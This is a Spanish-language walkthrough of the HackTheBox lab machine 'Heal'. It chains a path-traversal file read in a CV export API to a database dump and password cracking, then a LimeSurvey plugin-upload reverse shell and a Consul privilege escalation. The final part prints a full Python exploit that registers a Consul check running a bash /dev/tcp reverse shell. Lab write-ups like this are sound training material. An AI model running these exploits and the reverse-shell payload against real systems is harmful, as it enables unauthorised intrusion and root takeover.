Heal - Hackthebox - Season7
Heal Guia en español
Escaneo de puertos
1
sudo nmap -p- -sVC -sC --open -sS -n -Pn 10.10.11.46
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 13:50 CET
Nmap scan report for 10.10.11.46
Host is up (0.14s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.89 seconds
Servicio web en el puerto 80
Si nos dirigimos a la web que está sirviendo podremos ver lo que parece un creador de CV. Vamos a crear una cuenta.
Advertencia: Si salta error al intentar crear la cuenta es posible que tengas que añadir el dominio al archivo hosts. Si abres las devtools de tu navegador podrás ver el error que nos dice que el no puede conectarse al dominio.
Una vez dentro vamos a investigar un poco y en una de las pestañas encontramos el mail de un administrador.
Nota: Recuerda añadir los dominios al archivo hosts.
1
10.10.11.46 heal.htb api.heal.htb take-survey.heal.htb
Si ahora navegamos a ese subdominio podemos ver un mensaje interesante.
Analizando el subdominio
Mientras investigamos el resto de funciones de la web podemos analizar los directorios tanto del dominio principal como del subdominio.
1
gobuster dir -u http://take-survey.heal.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Panel de administración LimeSurvey
LimeSurvey es una aplicación web de código abierto diseñada para crear, administrar y analizar encuestas en línea. Por ahora tenemos el correo de un administrador y el subdominio de la encuesta.
api.heal.htb
Tambíen vamos a analizar el subdominio de la API por si hubiera algo interesante.
Aquí vemos información que podría ser interesante.
1
2
Rails version: 7.1.4
Ruby version: ruby 3.3.5 (2024-09-03 revision ef084cc8f4) [x86_64-linux]
Exportando un CV
Para seguir con la investigación también podemos intentar exportar un CV de los que permite la web.
¿Y si interceptamos la petición de descarga y vemos que parámetros usa?
Parece usar un token JWT para autenticar el usuario y generar el CV para descargar.
Podemos probar un ataque LFI?
Ataque LFI (Local File Inclusion)
Vamos a ver el rastro de peticiones
Parece que tras llamar a la exportación del pdf lo almacena en una ruta /downloads donde indica el nombre del fichero
Tras un rato probando la ruta relativa he conseguido realizar un LFI modificando la petición de la siguiente manera.
- Cambiamos de OPTIONS a GET
- Necesitamos autenticar la petición ya que de lo contrario no la realiza
- Para esto podemos copiar el token de las peticiones export por ejemplo y pegarlo en las cabeceras
- Ubicamos la ruta relativa de la carpeta downloads de la API para poder acceder al contenido deseado
Ahora si podemos extraer contenido de ficheros en el servidor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
avahi:x:114:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:115:121::/var/lib/geoclue:/usr/sbin/nologin
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
ron:x:1001:1001:,,,:/home/ron:/bin/bash
Extrayendo información
Ahora que tenemos el poder de extraer datos del servidor, ¿por qué no hacerlo con algunos archivos de configuración?
Bien, sabemos que la web hace uso de la API Rails 7.1.4 por lo que buscando por internet vamos a ver las ubicaciones y nombres de los archivos de configuración.
Rails Application Configuration
config/application.rb
config/environment.rb
config/environments/production.rb
config/environments/development.rb
config/environments/test.rb
config/database.yml
config/secrets.yml
config/credentials.yml.enc
config/master.key
config/routes.rb
config/storage.yml
De aquí podemos ir viendo el contenido de cada uno de ellos, pero el que más nos interesa es el archivo config/database.yml
ya que es donde se guarda la configuración de la base de datos.
Tenemos las ubicaciones de las diferentes bases de datos de Rails.
Vamos a descargar la base de datos de development, que es la que se utiliza en el entorno de desarrollo.
1
wget --header="Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjozfQ.CZbGMyPLgTWm9p2lPa9pGZ0vGQ0qKgr7RG4kj1tUSGc" http://api.heal.htb/download?filename=../../storage/development.sqlite3 -O development.sqlite3
Ahora que hemos conseguido el hash de la contraseña para ralph podemos crackearla con John
Panel de administración LimeSurvey
Ahora podemos acceder al panel de administración.
Dentro encontramos la versión y buscando por internet podemos encontrar un exploit para ejecutar codigo remoto.
Exploit
Antes de ejecutar el exploit, hay que modificar la verisón en el config.xml
Nota: También hay que modificar la IP en el archivo php-rev y el puerto hacia nuestra máquina.
Con ambos archivos modificados, necesitamos crear un zip con el nombre del mismo que existe en el repositorio.
Ahora desde el panel de administración debemos subir el zip como si fuera un plugin.
Para poder instalar el plugin debemos hacer uso del exploit del repositorio descargado.
Antes de ejecutar el exploit, hay que hubicar el id del plugin que queremos instalar.
Shell reversa
Ahora que tenemos el plugin instalado podemos obtener la shell reversa navegando a la ruta http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php
La estabilizamos
1
export TERM=xterm
Movimiento lateral
Una vez dentro vamos a descargar linpeas desde nuestra máquina para poder ejecutarlo.
Nota: Para que el usuario tenga permisos de escritura y ejecución debemos dirigirnos a la ruta /tmp
Parece que hay algunas contraseñas hardcodeadas en los ficheros de configuración.
Como antes ya conseguimos la lista de usuarios podemos intentar iniciar sesión con alguno de ellos y las credenciales que acabamos de encontrar.
Escalada de privilegios
Viendo que puertos tiene la máquina abiertos podemos hacer un port forwarding para acceder a ellos desde nuestra máquina.
Port Forwarding
1
ssh -L 8500:localhost:8500 ron@heal.htb
De todos los puertos este es el más útil que encontré.
Consul es un software de HashiCorp que proporciona:
- Descubrimiento de servicios - Permite que los servicios se registren y encuentren entre sí
- Configuración distribuida - Almacena y distribuye configuraciones entre servicios
- Monitoreo de salud - Verifica el estado de los servicios
- Segmentación de red - Controla el tráfico entre servicios
Se usa principalmente en arquitecturas de microservicios y entornos cloud para gestionar la comunicación y configuración de servicios distribuidos.
Funciona con un modelo cliente-servidor y utiliza un almacén de datos key-value distribuido para mantener la información.
Consul exploit
Buscando encontramos un exploit para consul que permite ejecutar una shell reversa como administrador.
Como en este caso es un servicio local y el usuario ya se encuentra autenticado hay que modificar el exploit para que no tome este token.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests, sys
if len(sys.argv) < 5:
print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport>\n")
exit(1)
target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
try:
requests.put(target, json=json)
print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")
Root shell
Nota: Recuerda iniciar el puerto de escucha en tu máquina local.